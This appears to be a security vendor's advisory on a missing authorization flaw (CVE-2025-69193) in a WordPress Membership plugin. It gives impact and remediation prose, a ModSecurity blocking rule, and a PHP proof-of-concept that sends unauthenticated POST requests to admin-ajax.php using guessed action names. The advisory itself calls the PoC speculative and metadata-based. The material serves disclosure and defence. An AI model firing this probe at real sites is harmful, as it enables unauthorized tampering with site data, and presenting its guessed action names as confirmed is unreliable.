Atomic Edge analysis of CVE-2025-69193 (metadata-based):
The Membership plugin for WordPress versions up to and including 1.6.4 contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to execute a privileged action without proper capability checks. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates network-accessible, low-complexity attacks requiring no privileges that cause integrity impact without confidentiality loss.
CWE-862 (Missing Authorization) directly points to an absent capability check on a WordPress hook or endpoint handler. Atomic Edge research infers the plugin registers an AJAX action, REST endpoint, or admin-post handler without verifying the user’s permissions. The description confirms unauthenticated attackers can perform unauthorized actions, but the specific vulnerable function remains unconfirmed without source code. This pattern typically involves a WordPress `add_action` hook for `wp_ajax_nopriv_` or `wp_ajax_` without subsequent `current_user_can()` validation.
Exploitation likely targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with a crafted `action` parameter matching the plugin’s vulnerable hook. Attackers send POST requests containing plugin-specific parameters that trigger the unauthorized action. Without the patched version for comparison, Atomic Edge analysis assumes the action name incorporates the plugin slug ‘wp-membership’ or ‘membership’ based on WordPress convention. The payload would include parameters that modify membership data, settings, or user status.
Remediation requires adding a proper capability check before executing the vulnerable function. The fix should implement `current_user_can()` with appropriate capability like ‘manage_options’ or a custom plugin capability. WordPress best practices also recommend nonce verification for state-changing operations, though the primary issue is the missing authorization check. The patched version should validate user permissions early in the function execution path.
Successful exploitation allows unauthenticated attackers to perform unauthorized administrative actions. Impact includes modifying membership levels, changing subscription settings, or altering plugin configuration. While the CVSS vector indicates no confidentiality impact (C:N), the integrity impact (I:L) suggests attackers can make unauthorized changes to membership data or plugin state. This could disrupt membership management, affect billing, or compromise business logic.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-69193 (metadata-based)
# Blocks unauthenticated access to Membership plugin AJAX actions
# Rule matches the exact attack vector: admin-ajax.php with membership-related actions
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:100069193,phase:2,deny,status:403,chain,msg:'CVE-2025-69193 via Membership plugin AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2025-69193',tag:'WordPress',tag:'Plugin/Membership'"
SecRule ARGS_POST:action "@rx ^(wp_)?membership"
"chain,t:none"
SecRule &REQUEST_COOKIES:'/^wordpress_logged_in_/' "@eq 0"
"t:none,setvar:'tx.cve_2025_69193_blocked=1'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69193 - Membership <= 1.6.4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69193
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter contains 'membership' or 'wp_membership'
* 3. No capability check exists for the action handler
* 4. Additional parameters trigger unauthorized operations
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common action patterns derived from plugin slug
$action_candidates = [
'wp_membership_action',
'membership_action',
'wp_membership_save',
'membership_update',
'wp_membership_update'
];
foreach ($action_candidates as $action) {
$ch = curl_init();
// Base payload structure
$payload = [
'action' => $action,
'data' => 'unauthorized_modification',
'type' => 'settings',
'id' => '1'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}n";
echo str_repeat('-', 50) . "n";
curl_close($ch);
// Brief pause between requests
sleep(1);
}
?>
